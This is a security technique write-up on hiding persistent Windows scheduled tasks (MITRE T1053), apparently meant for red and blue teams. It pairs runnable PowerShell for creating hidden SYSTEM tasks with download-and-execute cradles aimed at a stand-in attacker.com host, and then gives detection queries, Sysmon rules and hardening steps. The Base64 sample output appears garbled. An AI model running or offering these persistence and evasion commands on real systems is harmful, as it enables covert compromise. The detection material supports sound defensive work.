| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-027 |
| MITRE ATT&CK v18.1 | T1053 - Scheduled Task/Job |
| Tactic | Persistence / Execution |
| Platforms | Windows AD |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025; Windows 10, 11 |
| Patched In | N/A (Feature, not vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Scheduled tasks are a native Windows persistence mechanism. Attackers abuse task scheduler to execute malicious code at predefined intervals or system events while evading detection. Obfuscation techniques involve using unusual names (GUID-based names, legitimate-sounding names), placing tasks in non-standard locations, using command-line encoding (Base64, PowerShell encoded commands), and executing payloads through legitimate system binaries (LOLBins). Scheduled task obfuscation hides the malicious intent of the command-line while maintaining persistence through operating system reboots and task scheduler execution.
Attack Surface: Windows Task Scheduler, Registry (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache), XML task definition files, and legitimate system binaries used to execute commands.
Business Impact: Persistent Code Execution with Privilege Escalation. Obfuscated scheduled tasks can execute with SYSTEM or high-privilege user context, enabling backdoor access, ransomware deployment, or data exfiltration. The obfuscation makes detection difficult, allowing the malicious task to persist for months or years undetected.
Technical Context: Task creation takes seconds; obfuscation adds only seconds. Detection likelihood is medium-high with advanced task monitoring. Task persistence survives reboots indefinitely.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Windows Server 2022 5.4 | Ensure ‘Audit Process Creation’ is set to Success and Failure |
| DISA STIG | WN10-AU-000575 | Audit Process Creation must be enabled |
| NIST 800-53 | AU-3 (Content of Audit Records) | Audit events must capture sufficient detail for investigation |
| GDPR | Article 32 | Security of processing; monitoring and incident logging |
| DORA | Article 9 | Protection, prevention, and incident response measures |
| NIS2 | Article 21 | Detection capabilities; incident response procedures |
| ISO 27001 | A.12.4.1 (Event Logging) | Logging of security events for user activities and system events |
| ISO 27005 | Risk Scenario: “Malicious Code Execution via Scheduled Tasks” | Unauthorized code execution enabling system compromise |
Objective: Identify legitimate and suspicious scheduled tasks to understand the existing task landscape.
Command (List All Tasks):
# Get all scheduled tasks
Get-ScheduledTask | Select-Object TaskName, TaskPath, State, @{Name="NextRunTime"; Expression={$_.Triggers.CimInstanceProperties.Value}} | Format-Table -AutoSize
# Filter for tasks running with SYSTEM privilege
Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "SYSTEM"} | Select-Object TaskName, TaskPath, Principal
What to Look For:
{A1B2C3D4-E5F6-47A8-9B0C-D1E2F3A4B5C6})\Microsoft\Windows\Hidden\*)Version Note: Syntax consistent across Server 2016-2025.
Objective: Examine the Registry for task definitions that may bypass normal enumeration.
Command:
# Export task registry hive
Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" | `
Select-Object PSChildName | `
ForEach-Object {
$TaskGuid = $_.PSChildName
$TaskPath = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\$TaskGuid"
Write-Host "Task GUID: $TaskGuid"
Write-Host "Path: $($TaskPath.Path)"
Write-Host "---"
}
What to Look For:
Supported Versions: Server 2016-2025, Windows 10/11
Objective: Create a scheduled task with a GUID-like name to evade pattern-based detection.
Command (PowerShell, as Administrator):
# Generate a GUID for the task name
$TaskGUID = (New-Guid).ToString()
$TaskName = $TaskGUID # GUID name appears legitimat in listings
# Define the task action (malicious payload)
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\beacon.ps1"
# Define the task trigger (run at system startup or on logon)
$Trigger = New-ScheduledTaskTrigger -AtStartup
# Define the task principal (run as SYSTEM)
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
# Register the task
$Task = Register-ScheduledTask `
-TaskName $TaskName `
-Action $Action `
-Trigger $Trigger `
-Principal $Principal `
-Force
Write-Host "Task created with GUID: $TaskName"
Expected Output:
Task created with GUID: a1b2c3d4-e5f6-47a8-9b0c-d1e2f3a4b5c6
What This Means:
beacon.ps1 with SYSTEM privileges at system startupOpSec & Evasion:
-WindowStyle Hidden) minimizes user awarenessObjective: Confirm the task was created and is scheduled to execute.
Command:
# Retrieve the created task
$CreatedTask = Get-ScheduledTask -TaskName $TaskName
$CreatedTask | Select-Object TaskName, State, @{Name="NextRunTime"; Expression={$_.Triggers.StartBoundary}}
# View task details
$CreatedTask | Get-ScheduledTaskInfo
Expected Output:
TaskName State NextRunTime
-------- ----- -----------
a1b2c3d4-e5f6-47a8-9b0c-... Ready (will run at next startup)
Supported Versions: Server 2016-2025, Windows 10/11
Objective: Encode the malicious command in Base64 to evade command-line detection.
Command (PowerShell):
# Original malicious command
$MaliciousCommand = @"
# Download and execute beacon
$Url = 'https://attacker.com/payload.exe'
$Output = 'C:\Windows\Temp\svc_host.exe'
(New-Object System.Net.WebClient).DownloadFile($Url, $Output)
& $Output
"@
# Convert to Base64
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($MaliciousCommand)
$EncodedCommand = [Convert]::ToBase64String($Bytes)
Write-Host "Encoded Command:"
Write-Host $EncodedCommand
Expected Output:
Encoded Command:
SQBtAHAAb3J0AC1Nb2R1bGUgAFAAIABvAFAAZQBuAFMAUwBMAC8AYwBlAHI0AiAuAC4ALgA=
(Long Base64 string)
What This Means:
-EncodedCommand flag will execute the decoded payloadObjective: Create a scheduled task using the Base64-encoded command.
Command (PowerShell):
# Task name (can be GUID or legitimate-sounding)
$TaskName = "SystemMaintenance"
# Create action with encoded command
$EncodedPayload = "SQBtAHAAb3J0AC1Nb2R1bGUgAFAAIABvAFAAZQBuAFMAUwBMAC8AYwBlAHI0AiAuAC4ALgA="
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -EncodedCommand $EncodedPayload"
# Create trigger (daily at 2 AM, less likely to be noticed)
$Trigger = New-ScheduledTaskTrigger -Daily -At "02:00 AM"
# Create principal (run as SYSTEM)
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
# Register task
Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Principal $Principal -Force
Write-Host "Obfuscated task created: $TaskName"
Expected Output:
Obfuscated task created: SystemMaintenance
What This Means:
Objective: Verify task execution and optionally hide it from standard enumeration.
Command (Hide Task via Registry):
# Find task GUID in registry
$TaskGUID = (Get-ScheduledTask -TaskName "SystemMaintenance" | Get-ScheduledTaskInfo).TaskPath -replace '\\', '' -replace '\', ''
# Attempt to hide task from Task Scheduler UI (may require additional registry manipulation)
# Note: This requires direct registry modification and may not fully hide the task
# Alternative: Create task in non-standard path
$TaskPath = "\Microsoft\Windows\UpdateTask\"
Register-ScheduledTask -TaskName "UpdateTask" -TaskPath $TaskPath -Action $Action -Trigger $Trigger -Principal $Principal
Supported Versions: Server 2016-2025, Windows 10/11
Objective: Use legitimate Windows binaries to execute the malicious payload, evading EDR monitoring.
Command (Task Using WMIC):
$TaskName = "CleanupScheduler"
# Payload execution via WMIC (less monitored than powershell.exe)
$Action = New-ScheduledTaskAction -Execute "wmic.exe" -Argument 'process call create "powershell -NoP -W Hidden -C IEX(New-Object Net.WebClient).DownloadString(''https://attacker.com/payload.ps1'')"'
$Trigger = New-ScheduledTaskTrigger -AtLogOn
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Principal $Principal -Force
Write-Host "LOLBin task created using WMIC"
Expected Output:
LOLBin task created using WMIC
What This Means:
OpSec & Evasion:
Objective: Leverage lesser-known Windows components to execute code.
Command (Task Using MSOXMLLaunchUtils):
$TaskName = "OfficeUpdateTask"
# MSOXMLLaunchUtils is part of Office and can execute arbitrary commands
$Action = New-ScheduledTaskAction -Execute "cscript.exe" -Argument "C:\Windows\Temp\run.vbs"
# Create VBS file with payload
$VBSPayload = @"
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -NoP -W Hidden -C Get-Content C:\Windows\Temp\beacon.ps1 | IEX", 0, False
"@
$VBSPayload | Out-File -FilePath "C:\Windows\Temp\run.vbs" -Force
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1)
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Principal $Principal -Force
Expected Output: Task created; VBS script placed in C:\Windows\Temp\run.vbs
Rule Configuration:
mainWinEventLog:SecurityEventID, TaskName, TaskPathSPL Query:
index=main sourcetype="WinEventLog:Security" EventID=4698 OR EventID=4700
(TaskName LIKE "%-%-%-%-%" OR TaskPath LIKE "%Microsoft\\Windows\\Hidden%")
| stats count by host, User, TaskName, TaskPath, Command
What This Detects:
Manual Configuration Steps:
count > 0Rule Configuration:
mainWinEventLog:SecurityEventID, TaskContent, CommandSPL Query:
index=main sourcetype="WinEventLog:Security" EventID=4698 OR EventID=4702
(TaskContent LIKE "%EncodedCommand%" OR Command LIKE "%EncodedCommand%")
| stats count by host, User, TaskName, Command
| where count > 0
What This Detects:
Rule Configuration:
SecurityEventEventID, TaskName, TaskPath, CommandLineKQL Query:
SecurityEvent
| where EventID == 4698 or EventID == 4700
| where TaskName matches regex @"^{?[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}}?$"
or TaskPath contains "Microsoft\\Windows\\Hidden"
or CommandLine contains "EncodedCommand"
or CommandLine contains "Base64"
| project TimeGenerated, Computer, Account, TaskName, TaskPath, CommandLine
| summarize count() by Computer, Account, TaskName
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Scheduled Task CreationHigh5 minutes30 minutesEvent ID: 4698 (Scheduled Task Created)
Event ID: 4702 (Scheduled Task Updated)
Event ID: 4699 (Scheduled Task Deleted)
Manual Configuration Steps (Group Policy):
gpupdate /forceMinimum Sysmon Version: 13.0+
Sysmon Config Snippet:
<!-- Detect scheduled task creation via schtasks.exe -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">schtasks</CommandLine>
<CommandLine condition="contains">/create</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">powershell</CommandLine>
<CommandLine condition="contains">New-ScheduledTask</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Detect LOLBin execution via scheduled tasks -->
<RuleGroup name="Process Creation" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">wmic.exe</CommandLine>
<CommandLine condition="contains">process call create</CommandLine>
</ProcessCreate>
</RuleGroup>
Manual Configuration Steps:
sysmon-config.xml with the XML abovesysmon64.exe -accepteula -i sysmon-config.xmlGet-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10Enable Scheduled Task Audit Logging: Monitor all scheduled task creation and modification events.
Manual Steps (Group Policy):
gpupdate /forceManual Steps (PowerShell):
auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable
Restrict Scheduled Task Creation: Limit who can create scheduled tasks via Group Policy.
Manual Steps (Group Policy):
gpupdate /forceManual Steps (Registry):
# Restrict scheduled task creation to Administrators only
icacls "C:\Windows\System32\Tasks" /grant:r "BUILTIN\Administrators:F" /inheritance:r
Block PowerShell EncodedCommand Usage: Prevent Base64-encoded PowerShell commands via AppLocker or WDAC.
Manual Steps (AppLocker):
Monitor Scheduled Task Execution: Log all task execution via Sysmon or Windows Event Log.
Manual Steps (Windows Event Log):
Implement Process Whitelisting: Block execution of suspicious binaries (WMIC, cscript.exe) in scheduled tasks.
Manual Steps (Windows Defender Application Control):
Limit Task Scheduler Access: Restrict local and remote access to Task Scheduler.
Manual Steps (Task Scheduler DCOM Permissions):
# Check audit policy for scheduled task monitoring
auditpol /get /category:"Object Access"
# Verify AppLocker rules are enforced
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# List all scheduled tasks and verify no suspicious ones exist
Get-ScheduledTask | Where-Object {$_.TaskName -like "*{*}*" -or $_.TaskPath -like "*Hidden*"} | Select-Object TaskName, TaskPath
Expected Output (If Secure):
schtasks.exe /create command executionpowershell.exe with -EncodedCommand flagHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\TasksC:\Windows\Temp\ created recentlyC:\Windows\System32\Tasks\ with suspicious contentC:\Windows\System32\winevt\Logs\Security.evtx (EventID 4698, 4702, 4699)C:\Windows\System32\config\SOFTWARE (Task Scheduler keys)C:\ProgramData\Sysmon\ (if Sysmon enabled)svchost.exe (Task Scheduler service) may contain task details# Disable suspicious scheduled task immediately
Disable-ScheduledTask -TaskName "{suspicious-task-guid}" -Confirm:$false
# Or delete the task
Unregister-ScheduledTask -TaskName "{suspicious-task-guid}" -Confirm:$false
Manual:
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Export Task Scheduler logs
wevtutil epl "Microsoft-Windows-TaskScheduler/Operational" C:\Evidence\TaskScheduler.evtx
# Dump task registry
reg export "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule" C:\Evidence\SchedulerRegistry.reg
# Verify no suspicious tasks remain
Get-ScheduledTask | Where-Object {$_.TaskName -like "*{*}*"} | Unregister-ScheduledTask -Confirm:$false
# Restart Task Scheduler service to reload task cache
Restart-Service -Name "Schedule" -Force
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial credentials via phishing |
| 2 | Privilege Escalation | [PE-TOKEN-001] Token Impersonation | Attacker escalates to local admin |
| 3 | Persistence - Current Step | [REALWORLD-027] Scheduled Task Obfuscation | Attacker creates hidden scheduled task for persistent code execution |
| 4 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Attacker uses stolen credentials to move laterally |
| 5 | Collection | [REALWORLD-033] File Exfiltration via Task | Attacker uses scheduled task to exfiltrate data |
| 6 | Impact | [REALWORLD-042] Ransomware Execution via Task | Attacker deploys ransomware using the persistent task |